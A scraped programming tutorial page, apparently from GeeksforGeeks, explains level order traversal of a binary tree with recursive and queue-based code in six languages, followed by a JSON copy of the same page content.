# Recursive Python program for level# order traversal of Binary Tree # A node structure class Node: # A utility function to create a new node def __init__(self, key): self.data = key self.left = None self.right = None # Function to print level order traversal of treedef printLevelOrder(root): h = height(root) for i in range(1, h+1): printCurrentLevel(root, i) # Print nodes at a current leveldef printCurrentLevel(root, level): if root is None: return if level == 1: print(root.data, end=" ") elif level > 1: printCurrentLevel(root.left, level-1) printCurrentLevel(root.right, level-1) """ Compute the height of a tree--the number of nodes along the longest path from the root node down to the farthest leaf node""" def height(node): if node is None: return 0 else: # Compute the height of each subtree lheight = height(node.left) rheight = height(node.right) # Use the larger one if lheight > rheight: return lheight+1 else: return rheight+1 # Driver program to test above functionroot = Node(1)root.left = Node(2)root.right = Node(3)root.left.left = Node(4)root.left.right = Node(5) print("Level order traversal of binary tree is -")printLevelOrder(root) # This code is contributed by Nikhil Kumar Singh(nickzuck_007)
// Recursive c# program for level// order traversal of Binary Treeusing System; /* Class containing left and right child of current node and key value*/public class Node { public int data; public Node left, right; public Node(int item) { data = item; left = right = null; }} class GFG { // Root of the Binary Tree public Node root; public void BinaryTree() { root = null; } /* function to print level order traversal of tree*/ public virtual void printLevelOrder() { int h = height(root); int i; for (i = 1; i <= h; i++) { printCurrentLevel(root, i); } } /* Compute the "height" of a tree -- the number of nodes along the longest path from the root node down to the farthest leaf node.*/ public virtual int height(Node root) { if (root == null) { return 0; } else { /* compute height of each subtree */ int lheight = height(root.left); int rheight = height(root.right); /* use the larger one */ if (lheight > rheight) { return (lheight + 1); } else { return (rheight + 1); } } } /* Print nodes at the current level */ public virtual void printCurrentLevel(Node root, int level) { if (root == null) { return; } if (level == 1) { Console.Write(root.data + " "); } else if (level > 1) { printCurrentLevel(root.left, level - 1); printCurrentLevel(root.right, level - 1); } } // Driver Code public static void Main(string[] args) { GFG tree = new GFG(); tree.root = new Node(1); tree.root.left = new Node(2); tree.root.right = new Node(3); tree.root.left.left = new Node(4); tree.root.left.right = new Node(5); Console.WriteLine("Level order traversal " + "of binary tree is "); tree.printLevelOrder(); }} // This code is contributed by Shrikant13
<script>// Recursive javascript program for level// order traversal of Binary Tree /* Class containing left and right child of current node and key value*/ class Node { constructor(val) { this.data = val; this.left = null; this.right = null; } } // Root of the Binary Tree var root= null; /* function to print level order traversal of tree */ function printLevelOrder() { var h = height(root); var i; for (i = 1; i <= h; i++) printCurrentLevel(root, i); } /* * Compute the "height" of a tree -- the number of nodes along the longest path * from the root node down to the farthest leaf node. */ function height(root) { if (root == null) return 0; else { /* compute height of each subtree */ var lheight = height(root.left); var rheight = height(root.right); /* use the larger one */ if (lheight > rheight) return (lheight + 1); else return (rheight + 1); } } /* Print nodes at the current level */ function printCurrentLevel(root , level) { if (root == null) return; if (level == 1) document.write(root.data + " "); else if (level > 1) { printCurrentLevel(root.left, level - 1); printCurrentLevel(root.right, level - 1); } } /* Driver program to test above functions */ root = new Node(1); root.left = new Node(2); root.right = new Node(3); root.left.left = new Node(4); root.left.right = new Node(5); document.write("Level order traversal of binary tree is "); printLevelOrder(); // This code is contributed by umadevi9616</script>
Level Order traversal of binary tree is
1 2 3 4 5
Time Complexity: O(n^2) in worst case. For a skewed tree, printGivenLevel() takes O(n) time where n is the number of nodes in the skewed tree. So time complexity of printLevelOrder() is O(n) + O(n-1) + O(n-2) + .. + O(1) which is O(n^2). Auxiliary Space: O(n) in the worst case. For a skewed tree, printGivenLevel() uses O(n) space for call stack. For a Balanced tree, the call stack uses O(log n) space, (i.e., the height of the balanced tree).
Method 2 (Using queue)
Algorithm: For each node, first, the node is visited and then it’s child nodes are put in a FIFO queue.
printLevelorder(tree)
1) Create an empty queue q
2) temp_node = root /*start from root*/
3) Loop while temp_node is not NULL
a) print temp_node->data.
b) Enqueue temp_node’s children
(first left then right children) to q
c) Dequeue a node from q.
Implementation: Here is a simple implementation of the above algorithm. The queue is implemented using an array with a maximum size of 500. We can implement a queue as a linked list also.
C++
C
Java
Python3
C#
Javascript
/* C++ program to print level order traversal using STL */#include <bits/stdc++.h>using namespace std; // A Binary Tree Nodestruct Node { int data; struct Node *left, *right;}; // Iterative method to find height of Binary Treevoid printLevelOrder(Node* root){ // Base Case if (root == NULL) return; // Create an empty queue for level order traversal queue<Node*> q; // Enqueue Root and initialize height q.push(root); while (q.empty() == false) { // Print front of queue and remove it from queue Node* node = q.front(); cout << node->data << " "; q.pop(); /* Enqueue left child */ if (node->left != NULL) q.push(node->left); /*Enqueue right child */ if (node->right != NULL) q.push(node->right); }} // Utility function to create a new tree nodeNode* newNode(int data){ Node* temp = new Node; temp->data = data; temp->left = temp->right = NULL; return temp;} // Driver program to test above functionsint main(){ // Let us create binary tree shown in above diagram Node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); cout << "Level Order traversal of binary tree is \n"; printLevelOrder(root); return 0;}
// Iterative Queue based C program// to do level order traversal// of Binary Tree#include <stdio.h>#include <stdlib.h>#define MAX_Q_SIZE 500 /* A binary tree node has data, pointer to left child and a pointer to right child */struct node { int data; struct node* left; struct node* right;}; /* frunction prototypes */struct node** createQueue(int*, int*);void enQueue(struct node**, int*, struct node*);struct node* deQueue(struct node**, int*); /* Given a binary tree, print its nodes in level order using array for implementing queue */void printLevelOrder(struct node* root){ int rear, front; struct node** queue = createQueue(&front, &rear); struct node* temp_node = root; while (temp_node) { printf("%d ", temp_node->data); /*Enqueue left child */ if (temp_node->left) enQueue(queue, &rear, temp_node->left); /*Enqueue right child */ if (temp_node->right) enQueue(queue, &rear, temp_node->right); /*Dequeue node and make it temp_node*/ temp_node = deQueue(queue, &front); }} /*UTILITY FUNCTIONS*/struct node** createQueue(int* front, int* rear){ struct node** queue = (struct node**)malloc( sizeof(struct node*) * MAX_Q_SIZE); *front = *rear = 0; return queue;} void enQueue(struct node** queue, int* rear, struct node* new_node){ queue[*rear] = new_node; (*rear)++;} struct node* deQueue(struct node** queue, int* front){ (*front)++; return queue[*front - 1];} /* Helper function that allocates a new node with the given data and NULL left and right pointers. */struct node* newNode(int data){ struct node* node = (struct node*)malloc(sizeof(struct node)); node->data = data; node->left = NULL; node->right = NULL; return (node);} /* Driver program to test above functions*/int main(){ struct node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); printf("Level Order traversal of binary tree is \n"); printLevelOrder(root); return 0;}
// Iterative Queue based Java program// to do level order traversal// of Binary Tree /* importing the inbuilt java classes required for the program */import java.util.LinkedList;import java.util.Queue; /* Class to represent Tree node */class Node { int data; Node left, right; public Node(int item) { data = item; left = null; right = null; }} /* Class to print Level Order Traversal */class BinaryTree { Node root; /* Given a binary tree. Print its nodes in level order using array for implementing queue */ void printLevelOrder() { Queue<Node> queue = new LinkedList<Node>(); queue.add(root); while (!queue.isEmpty()) { /* poll() removes the present head. For more information on poll() visit http://www.tutorialspoint.com/java/ util/linkedlist_poll.htm */ Node tempNode = queue.poll(); System.out.print(tempNode.data + " "); /*Enqueue left child */ if (tempNode.left != null) { queue.add(tempNode.left); } /*Enqueue right child */ if (tempNode.right != null) { queue.add(tempNode.right); } } } public static void main(String args[]) { /* creating a binary tree and entering the nodes */ BinaryTree tree_level = new BinaryTree(); tree_level.root = new Node(1); tree_level.root.left = new Node(2); tree_level.root.right = new Node(3); tree_level.root.left.left = new Node(4); tree_level.root.left.right = new Node(5); System.out.println("Level order traversal of binary tree is - "); tree_level.printLevelOrder(); }}
# Python program to print level# order traversal using Queue # A node structure class Node: # A utility function to create a new node def __init__(self, key): self.data = key self.left = None self.right = None # Iterative Method to print the# height of a binary tree def printLevelOrder(root): # Base Case if root is None: return # Create an empty queue # for level order traversal queue = [] # Enqueue Root and initialize height queue.append(root) while(len(queue) > 0): # Print front of queue and # remove it from queue print(queue[0].data) node = queue.pop(0) # Enqueue left child if node.left is not None: queue.append(node.left) # Enqueue right child if node.right is not None: queue.append(node.right) # Driver Program to test above functionroot = Node(1)root.left = Node(2)root.right = Node(3)root.left.left = Node(4)root.left.right = Node(5) print("Level Order Traversal of binary tree is -")printLevelOrder(root)# This code is contributed by Nikhil Kumar Singh(nickzuck_007)
// Iterative Queue based C# program// to do level order traversal// of Binary Tree using System;using System.Collections.Generic; /* Class to represent Tree node */public class Node { public int data; public Node left, right; public Node(int item) { data = item; left = null; right = null; }} /* Class to print Level Order Traversal */public class BinaryTree { Node root; /* Given a binary tree. Print its nodes in level order using array for implementing queue */ void printLevelOrder() { Queue<Node> queue = new Queue<Node>(); queue.Enqueue(root); while (queue.Count != 0) { Node tempNode = queue.Dequeue(); Console.Write(tempNode.data + " "); /*Enqueue left child */ if (tempNode.left != null) { queue.Enqueue(tempNode.left); } /*Enqueue right child */ if (tempNode.right != null) { queue.Enqueue(tempNode.right); } } } // Driver code public static void Main() { /* creating a binary tree and entering the nodes */ BinaryTree tree_level = new BinaryTree(); tree_level.root = new Node(1); tree_level.root.left = new Node(2); tree_level.root.right = new Node(3); tree_level.root.left.left = new Node(4); tree_level.root.left.right = new Node(5); Console.WriteLine("Level order traversal " + "of binary tree is - "); tree_level.printLevelOrder(); }} /* This code contributed by PrinciRaj1992 */
<script>// Iterative Queue based javascript program// to do level order traversal// of Binary Tree /* Class to represent Tree node */class Node { constructor(val) { this.data = val; this.left = null; this.right = null; }} /* Class to print Level Order Traversal */ /* * Given a binary tree. Print its nodes in level order using array for * implementing queue */ function printLevelOrder() { var queue = []; queue.push(root); while (queue.length != 0) { /* * The shift() method removes the first element from an array and returns that removed element. This method changes the length of the array. * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift */ var tempNode = queue.shift(); document.write(tempNode.data + " "); /* Enqueue left child */ if (tempNode.left != null) { queue.push(tempNode.left); } /* Enqueue right child */ if (tempNode.right != null) { queue.push(tempNode.right); } } } /* creating a binary tree and entering the nodes */ var root = new Node(1); root.left = new Node(2); root.right = new Node(3); root.left.left = new Node(4); root.left.right = new Node(5); document.write("Level order traversal of binary tree is - "); printLevelOrder(); // This code is contributed by umadevi9616</script>
Level Order traversal of binary tree is
1 2 3 4 5
Time Complexity: O(n) where n is the number of nodes in the binary tree.Auxiliary Space: O(n) where n is the number of nodes in the binary tree.
Please write comments if you find any bugs in the above programs/algorithms or other ways to solve the same problem.
shrikanth13
princiraj1992
rathbhupendra
nidhi_biet
SBVKrishna
arpanhalder7384
Vishalmast
yashyon
maheshbauri
singh_teekam
clintra
chandra8226
umadevi9616
simranarora5sos
tarunkumar11
maayanasahanin
suyashgulati
hardikkoriintern
Amazon
Cisco
D-E-Shaw
Flipkart
Microsoft
Morgan Stanley
Ola Cabs
Payu
Qualcomm
Samsung
tree-level-order
Queue
Tree
Flipkart
Morgan Stanley
Amazon
Microsoft
Samsung
D-E-Shaw
Ola Cabs
Payu
Cisco
Qualcomm
Queue
Tree
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Breadth First Search or BFS for a Graph
Queue in Python
Queue Interface In Java
Introduction to Data Structures
Queue using Stacks
AVL Tree | Set 1 (Insertion)
Introduction to Data Structures
What is Data Structure: Types, Classifications and Applications
A program to check if a binary tree is BST or not
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n16 Jun, 2022"
},
{
"code": null,
"e": 126,
"s": 52,
"text": "Level order traversal of a tree is breadth first traversal for the tree. "
},
{
"code": null,
"e": 180,
"s": 126,
"text": "Level order traversal of the above tree is 1 2 3 4 5 "
},
{
"code": null,
"e": 229,
"s": 180,
"text": "Method 1 (Use function to print a current level)"
},
{
"code": null,
"e": 548,
"s": 229,
"text": "Algorithm: There are basically two functions in this method. One is to print all nodes at a given level (printCurrentLevel), and the other is to print the level order traversal of the tree (printLevelorder). printLevelorder makes use of printCurrentLevel to print nodes at all levels one by one starting from the root."
},
{
"code": null,
"e": 557,
"s": 548,
"text": "Chapters"
},
{
"code": null,
"e": 584,
"s": 557,
"text": "descriptions off, selected"
},
{
"code": null,
"e": 634,
"s": 584,
"text": "captions settings, opens captions settings dialog"
},
{
"code": null,
"e": 657,
"s": 634,
"text": "captions off, selected"
},
{
"code": null,
"e": 665,
"s": 657,
"text": "English"
},
{
"code": null,
"e": 689,
"s": 665,
"text": "This is a modal window."
},
{
"code": null,
"e": 758,
"s": 689,
"text": "Beginning of dialog window. Escape will cancel and close the window."
},
{
"code": null,
"e": 780,
"s": 758,
"text": "End of dialog window."
},
{
"code": null,
"e": 907,
"s": 780,
"text": "/*Function to print level order traversal of tree*/printLevelorder(tree)for d = 1 to height(tree) printCurrentLevel(tree, d);"
},
{
"code": null,
"e": 1175,
"s": 907,
"text": "/*Function to print all nodes at a current level*/printCurrentLevel(tree, level)if tree is NULL then return;if level is 1, then print(tree->data);else if level greater than 1, then printCurrentLevel(tree->left, level-1); printCurrentLevel(tree->right, level-1);"
},
{
"code": null,
"e": 1192,
"s": 1175,
"text": "Implementation: "
},
{
"code": null,
"e": 1196,
"s": 1192,
"text": "C++"
},
{
"code": null,
"e": 1198,
"s": 1196,
"text": "C"
},
{
"code": null,
"e": 1203,
"s": 1198,
"text": "Java"
},
{
"code": null,
"e": 1211,
"s": 1203,
"text": "Python3"
},
{
"code": null,
"e": 1214,
"s": 1211,
"text": "C#"
},
{
"code": null,
"e": 1225,
"s": 1214,
"text": "Javascript"
},
{
"code": "// Recursive CPP program for level// order traversal of Binary Tree#include <bits/stdc++.h>using namespace std; /* A binary tree node has data,pointer to left childand a pointer to right child */class node {public: int data; node *left, *right;}; /* Function prototypes */void printCurrentLevel(node* root, int level);int height(node* node);node* newNode(int data); /* Function to print levelorder traversal a tree*/void printLevelOrder(node* root){ int h = height(root); int i; for (i = 1; i <= h; i++) printCurrentLevel(root, i);} /* Print nodes at a current level */void printCurrentLevel(node* root, int level){ if (root == NULL) return; if (level == 1) cout << root->data << \" \"; else if (level > 1) { printCurrentLevel(root->left, level - 1); printCurrentLevel(root->right, level - 1); }} /* Compute the \"height\" of a tree -- the number of nodes along the longest path from the root node down to the farthest leaf node.*/int height(node* node){ if (node == NULL) return 0; else { /* compute the height of each subtree */ int lheight = height(node->left); int rheight = height(node->right); /* use the larger one */ if (lheight > rheight) { return (lheight + 1); } else { return (rheight + 1); } }} /* Helper function that allocatesa new node with the given data andNULL left and right pointers. */node* newNode(int data){ node* Node = new node(); Node->data = data; Node->left = NULL; Node->right = NULL; return (Node);} /* Driver code*/int main(){ node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); cout << \"Level Order traversal of binary tree is \\n\"; printLevelOrder(root); return 0;} // This code is contributed by rathbhupendra",
"e": 3157,
"s": 1225,
"text": null
},
{
"code": "// Recursive C program for level// order traversal of Binary Tree#include <stdio.h>#include <stdlib.h> /* A binary tree node has data, pointer to left child and a pointer to right child */struct node { int data; struct node *left, *right;}; /* Function prototypes */void printCurrentLevel(struct node* root, int level);int height(struct node* node);struct node* newNode(int data); /* Function to print level order traversal a tree*/void printLevelOrder(struct node* root){ int h = height(root); int i; for (i = 1; i <= h; i++) printCurrentLevel(root, i);} /* Print nodes at a current level */void printCurrentLevel(struct node* root, int level){ if (root == NULL) return; if (level == 1) printf(\"%d \", root->data); else if (level > 1) { printCurrentLevel(root->left, level - 1); printCurrentLevel(root->right, level - 1); }} /* Compute the \"height\" of a tree -- the number of nodes along the longest path from the root node down to the farthest leaf node.*/int height(struct node* node){ if (node == NULL) return 0; else { /* compute the height of each subtree */ int lheight = height(node->left); int rheight = height(node->right); /* use the larger one */ if (lheight > rheight) return (lheight + 1); else return (rheight + 1); }} /* Helper function that allocates a new node with the given data and NULL left and right pointers. */struct node* newNode(int data){ struct node* node = (struct node*)malloc(sizeof(struct node)); node->data = data; node->left = NULL; node->right = NULL; return (node);} /* Driver program to test above functions*/int main(){ struct node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); printf(\"Level Order traversal of binary tree is \\n\"); printLevelOrder(root); return 0;}",
"e": 5153,
"s": 3157,
"text": null
},
{
"code": "// Recursive Java program for level// order traversal of Binary Tree /* Class containing left and right child of current node and key value*/class Node { int data; Node left, right; public Node(int item) { data = item; left = right = null; }} class BinaryTree { // Root of the Binary Tree Node root; public BinaryTree() { root = null; } /* function to print level order traversal of tree*/ void printLevelOrder() { int h = height(root); int i; for (i = 1; i <= h; i++) printCurrentLevel(root, i); } /* Compute the \"height\" of a tree -- the number of nodes along the longest path from the root node down to the farthest leaf node.*/ int height(Node root) { if (root == null) return 0; else { /* compute height of each subtree */ int lheight = height(root.left); int rheight = height(root.right); /* use the larger one */ if (lheight > rheight) return (lheight + 1); else return (rheight + 1); } } /* Print nodes at the current level */ void printCurrentLevel(Node root, int level) { if (root == null) return; if (level == 1) System.out.print(root.data + \" \"); else if (level > 1) { printCurrentLevel(root.left, level - 1); printCurrentLevel(root.right, level - 1); } } /* Driver program to test above functions */ public static void main(String args[]) { BinaryTree tree = new BinaryTree(); tree.root = new Node(1); tree.root.left = new Node(2); tree.root.right = new Node(3); tree.root.left.left = new Node(4); tree.root.left.right = new Node(5); System.out.println(\"Level order traversal of binary tree is \"); tree.printLevelOrder(); }}",
"e": 7111,
"s": 5153,
"text": null
},
{
"code": "# Recursive Python program for level# order traversal of Binary Tree # A node structure class Node: # A utility function to create a new node def __init__(self, key): self.data = key self.left = None self.right = None # Function to print level order traversal of treedef printLevelOrder(root): h = height(root) for i in range(1, h+1): printCurrentLevel(root, i) # Print nodes at a current leveldef printCurrentLevel(root, level): if root is None: return if level == 1: print(root.data, end=\" \") elif level > 1: printCurrentLevel(root.left, level-1) printCurrentLevel(root.right, level-1) \"\"\" Compute the height of a tree--the number of nodes along the longest path from the root node down to the farthest leaf node\"\"\" def height(node): if node is None: return 0 else: # Compute the height of each subtree lheight = height(node.left) rheight = height(node.right) # Use the larger one if lheight > rheight: return lheight+1 else: return rheight+1 # Driver program to test above functionroot = Node(1)root.left = Node(2)root.right = Node(3)root.left.left = Node(4)root.left.right = Node(5) print(\"Level order traversal of binary tree is -\")printLevelOrder(root) # This code is contributed by Nikhil Kumar Singh(nickzuck_007)",
"e": 8502,
"s": 7111,
"text": null
},
{
"code": "// Recursive c# program for level// order traversal of Binary Treeusing System; /* Class containing left and right child of current node and key value*/public class Node { public int data; public Node left, right; public Node(int item) { data = item; left = right = null; }} class GFG { // Root of the Binary Tree public Node root; public void BinaryTree() { root = null; } /* function to print level order traversal of tree*/ public virtual void printLevelOrder() { int h = height(root); int i; for (i = 1; i <= h; i++) { printCurrentLevel(root, i); } } /* Compute the \"height\" of a tree -- the number of nodes along the longest path from the root node down to the farthest leaf node.*/ public virtual int height(Node root) { if (root == null) { return 0; } else { /* compute height of each subtree */ int lheight = height(root.left); int rheight = height(root.right); /* use the larger one */ if (lheight > rheight) { return (lheight + 1); } else { return (rheight + 1); } } } /* Print nodes at the current level */ public virtual void printCurrentLevel(Node root, int level) { if (root == null) { return; } if (level == 1) { Console.Write(root.data + \" \"); } else if (level > 1) { printCurrentLevel(root.left, level - 1); printCurrentLevel(root.right, level - 1); } } // Driver Code public static void Main(string[] args) { GFG tree = new GFG(); tree.root = new Node(1); tree.root.left = new Node(2); tree.root.right = new Node(3); tree.root.left.left = new Node(4); tree.root.left.right = new Node(5); Console.WriteLine(\"Level order traversal \" + \"of binary tree is \"); tree.printLevelOrder(); }} // This code is contributed by Shrikant13",
"e": 10659,
"s": 8502,
"text": null
},
{
"code": "<script>// Recursive javascript program for level// order traversal of Binary Tree /* Class containing left and right child of current node and key value*/ class Node { constructor(val) { this.data = val; this.left = null; this.right = null; } } // Root of the Binary Tree var root= null; /* function to print level order traversal of tree */ function printLevelOrder() { var h = height(root); var i; for (i = 1; i <= h; i++) printCurrentLevel(root, i); } /* * Compute the \"height\" of a tree -- the number of nodes along the longest path * from the root node down to the farthest leaf node. */ function height(root) { if (root == null) return 0; else { /* compute height of each subtree */ var lheight = height(root.left); var rheight = height(root.right); /* use the larger one */ if (lheight > rheight) return (lheight + 1); else return (rheight + 1); } } /* Print nodes at the current level */ function printCurrentLevel(root , level) { if (root == null) return; if (level == 1) document.write(root.data + \" \"); else if (level > 1) { printCurrentLevel(root.left, level - 1); printCurrentLevel(root.right, level - 1); } } /* Driver program to test above functions */ root = new Node(1); root.left = new Node(2); root.right = new Node(3); root.left.left = new Node(4); root.left.right = new Node(5); document.write(\"Level order traversal of binary tree is \"); printLevelOrder(); // This code is contributed by umadevi9616</script>",
"e": 12488,
"s": 10659,
"text": null
},
{
"code": null,
"e": 12540,
"s": 12488,
"text": "Level Order traversal of binary tree is \n1 2 3 4 5 "
},
{
"code": null,
"e": 12988,
"s": 12540,
"text": "Time Complexity: O(n^2) in worst case. For a skewed tree, printGivenLevel() takes O(n) time where n is the number of nodes in the skewed tree. So time complexity of printLevelOrder() is O(n) + O(n-1) + O(n-2) + .. + O(1) which is O(n^2). Auxiliary Space: O(n) in the worst case. For a skewed tree, printGivenLevel() uses O(n) space for call stack. For a Balanced tree, the call stack uses O(log n) space, (i.e., the height of the balanced tree). "
},
{
"code": null,
"e": 13011,
"s": 12988,
"text": "Method 2 (Using queue)"
},
{
"code": null,
"e": 13116,
"s": 13011,
"text": "Algorithm: For each node, first, the node is visited and then it’s child nodes are put in a FIFO queue. "
},
{
"code": null,
"e": 13382,
"s": 13116,
"text": "printLevelorder(tree)\n1) Create an empty queue q\n2) temp_node = root /*start from root*/\n3) Loop while temp_node is not NULL\n a) print temp_node->data.\n b) Enqueue temp_node’s children \n (first left then right children) to q\n c) Dequeue a node from q."
},
{
"code": null,
"e": 13571,
"s": 13382,
"text": "Implementation: Here is a simple implementation of the above algorithm. The queue is implemented using an array with a maximum size of 500. We can implement a queue as a linked list also. "
},
{
"code": null,
"e": 13575,
"s": 13571,
"text": "C++"
},
{
"code": null,
"e": 13577,
"s": 13575,
"text": "C"
},
{
"code": null,
"e": 13582,
"s": 13577,
"text": "Java"
},
{
"code": null,
"e": 13590,
"s": 13582,
"text": "Python3"
},
{
"code": null,
"e": 13593,
"s": 13590,
"text": "C#"
},
{
"code": null,
"e": 13604,
"s": 13593,
"text": "Javascript"
},
{
"code": "/* C++ program to print level order traversal using STL */#include <bits/stdc++.h>using namespace std; // A Binary Tree Nodestruct Node { int data; struct Node *left, *right;}; // Iterative method to find height of Binary Treevoid printLevelOrder(Node* root){ // Base Case if (root == NULL) return; // Create an empty queue for level order traversal queue<Node*> q; // Enqueue Root and initialize height q.push(root); while (q.empty() == false) { // Print front of queue and remove it from queue Node* node = q.front(); cout << node->data << \" \"; q.pop(); /* Enqueue left child */ if (node->left != NULL) q.push(node->left); /*Enqueue right child */ if (node->right != NULL) q.push(node->right); }} // Utility function to create a new tree nodeNode* newNode(int data){ Node* temp = new Node; temp->data = data; temp->left = temp->right = NULL; return temp;} // Driver program to test above functionsint main(){ // Let us create binary tree shown in above diagram Node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); cout << \"Level Order traversal of binary tree is \\n\"; printLevelOrder(root); return 0;}",
"e": 14957,
"s": 13604,
"text": null
},
{
"code": "// Iterative Queue based C program// to do level order traversal// of Binary Tree#include <stdio.h>#include <stdlib.h>#define MAX_Q_SIZE 500 /* A binary tree node has data, pointer to left child and a pointer to right child */struct node { int data; struct node* left; struct node* right;}; /* frunction prototypes */struct node** createQueue(int*, int*);void enQueue(struct node**, int*, struct node*);struct node* deQueue(struct node**, int*); /* Given a binary tree, print its nodes in level order using array for implementing queue */void printLevelOrder(struct node* root){ int rear, front; struct node** queue = createQueue(&front, &rear); struct node* temp_node = root; while (temp_node) { printf(\"%d \", temp_node->data); /*Enqueue left child */ if (temp_node->left) enQueue(queue, &rear, temp_node->left); /*Enqueue right child */ if (temp_node->right) enQueue(queue, &rear, temp_node->right); /*Dequeue node and make it temp_node*/ temp_node = deQueue(queue, &front); }} /*UTILITY FUNCTIONS*/struct node** createQueue(int* front, int* rear){ struct node** queue = (struct node**)malloc( sizeof(struct node*) * MAX_Q_SIZE); *front = *rear = 0; return queue;} void enQueue(struct node** queue, int* rear, struct node* new_node){ queue[*rear] = new_node; (*rear)++;} struct node* deQueue(struct node** queue, int* front){ (*front)++; return queue[*front - 1];} /* Helper function that allocates a new node with the given data and NULL left and right pointers. */struct node* newNode(int data){ struct node* node = (struct node*)malloc(sizeof(struct node)); node->data = data; node->left = NULL; node->right = NULL; return (node);} /* Driver program to test above functions*/int main(){ struct node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); printf(\"Level Order traversal of binary tree is \\n\"); printLevelOrder(root); return 0;}",
"e": 17080,
"s": 14957,
"text": null
},
{
"code": "// Iterative Queue based Java program// to do level order traversal// of Binary Tree /* importing the inbuilt java classes required for the program */import java.util.LinkedList;import java.util.Queue; /* Class to represent Tree node */class Node { int data; Node left, right; public Node(int item) { data = item; left = null; right = null; }} /* Class to print Level Order Traversal */class BinaryTree { Node root; /* Given a binary tree. Print its nodes in level order using array for implementing queue */ void printLevelOrder() { Queue<Node> queue = new LinkedList<Node>(); queue.add(root); while (!queue.isEmpty()) { /* poll() removes the present head. For more information on poll() visit http://www.tutorialspoint.com/java/ util/linkedlist_poll.htm */ Node tempNode = queue.poll(); System.out.print(tempNode.data + \" \"); /*Enqueue left child */ if (tempNode.left != null) { queue.add(tempNode.left); } /*Enqueue right child */ if (tempNode.right != null) { queue.add(tempNode.right); } } } public static void main(String args[]) { /* creating a binary tree and entering the nodes */ BinaryTree tree_level = new BinaryTree(); tree_level.root = new Node(1); tree_level.root.left = new Node(2); tree_level.root.right = new Node(3); tree_level.root.left.left = new Node(4); tree_level.root.left.right = new Node(5); System.out.println(\"Level order traversal of binary tree is - \"); tree_level.printLevelOrder(); }}",
"e": 18865,
"s": 17080,
"text": null
},
{
"code": "# Python program to print level# order traversal using Queue # A node structure class Node: # A utility function to create a new node def __init__(self, key): self.data = key self.left = None self.right = None # Iterative Method to print the# height of a binary tree def printLevelOrder(root): # Base Case if root is None: return # Create an empty queue # for level order traversal queue = [] # Enqueue Root and initialize height queue.append(root) while(len(queue) > 0): # Print front of queue and # remove it from queue print(queue[0].data) node = queue.pop(0) # Enqueue left child if node.left is not None: queue.append(node.left) # Enqueue right child if node.right is not None: queue.append(node.right) # Driver Program to test above functionroot = Node(1)root.left = Node(2)root.right = Node(3)root.left.left = Node(4)root.left.right = Node(5) print(\"Level Order Traversal of binary tree is -\")printLevelOrder(root)# This code is contributed by Nikhil Kumar Singh(nickzuck_007)",
"e": 19994,
"s": 18865,
"text": null
},
{
"code": "// Iterative Queue based C# program// to do level order traversal// of Binary Tree using System;using System.Collections.Generic; /* Class to represent Tree node */public class Node { public int data; public Node left, right; public Node(int item) { data = item; left = null; right = null; }} /* Class to print Level Order Traversal */public class BinaryTree { Node root; /* Given a binary tree. Print its nodes in level order using array for implementing queue */ void printLevelOrder() { Queue<Node> queue = new Queue<Node>(); queue.Enqueue(root); while (queue.Count != 0) { Node tempNode = queue.Dequeue(); Console.Write(tempNode.data + \" \"); /*Enqueue left child */ if (tempNode.left != null) { queue.Enqueue(tempNode.left); } /*Enqueue right child */ if (tempNode.right != null) { queue.Enqueue(tempNode.right); } } } // Driver code public static void Main() { /* creating a binary tree and entering the nodes */ BinaryTree tree_level = new BinaryTree(); tree_level.root = new Node(1); tree_level.root.left = new Node(2); tree_level.root.right = new Node(3); tree_level.root.left.left = new Node(4); tree_level.root.left.right = new Node(5); Console.WriteLine(\"Level order traversal \" + \"of binary tree is - \"); tree_level.printLevelOrder(); }} /* This code contributed by PrinciRaj1992 */",
"e": 21608,
"s": 19994,
"text": null
},
{
"code": "<script>// Iterative Queue based javascript program// to do level order traversal// of Binary Tree /* Class to represent Tree node */class Node { constructor(val) { this.data = val; this.left = null; this.right = null; }} /* Class to print Level Order Traversal */ /* * Given a binary tree. Print its nodes in level order using array for * implementing queue */ function printLevelOrder() { var queue = []; queue.push(root); while (queue.length != 0) { /* * The shift() method removes the first element from an array and returns that removed element. This method changes the length of the array. * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift */ var tempNode = queue.shift(); document.write(tempNode.data + \" \"); /* Enqueue left child */ if (tempNode.left != null) { queue.push(tempNode.left); } /* Enqueue right child */ if (tempNode.right != null) { queue.push(tempNode.right); } } } /* creating a binary tree and entering the nodes */ var root = new Node(1); root.left = new Node(2); root.right = new Node(3); root.left.left = new Node(4); root.left.right = new Node(5); document.write(\"Level order traversal of binary tree is - \"); printLevelOrder(); // This code is contributed by umadevi9616</script>",
"e": 23157,
"s": 21608,
"text": null
},
{
"code": null,
"e": 23209,
"s": 23157,
"text": "Level Order traversal of binary tree is \n1 2 3 4 5 "
},
{
"code": null,
"e": 23354,
"s": 23209,
"text": "Time Complexity: O(n) where n is the number of nodes in the binary tree.Auxiliary Space: O(n) where n is the number of nodes in the binary tree."
},
{
"code": null,
"e": 23472,
"s": 23354,
"text": "Please write comments if you find any bugs in the above programs/algorithms or other ways to solve the same problem. "
},
{
"code": null,
"e": 23484,
"s": 23472,
"text": "shrikanth13"
},
{
"code": null,
"e": 23498,
"s": 23484,
"text": "princiraj1992"
},
{
"code": null,
"e": 23512,
"s": 23498,
"text": "rathbhupendra"
},
{
"code": null,
"e": 23523,
"s": 23512,
"text": "nidhi_biet"
},
{
"code": null,
"e": 23534,
"s": 23523,
"text": "SBVKrishna"
},
{
"code": null,
"e": 23550,
"s": 23534,
"text": "arpanhalder7384"
},
{
"code": null,
"e": 23561,
"s": 23550,
"text": "Vishalmast"
},
{
"code": null,
"e": 23569,
"s": 23561,
"text": "yashyon"
},
{
"code": null,
"e": 23581,
"s": 23569,
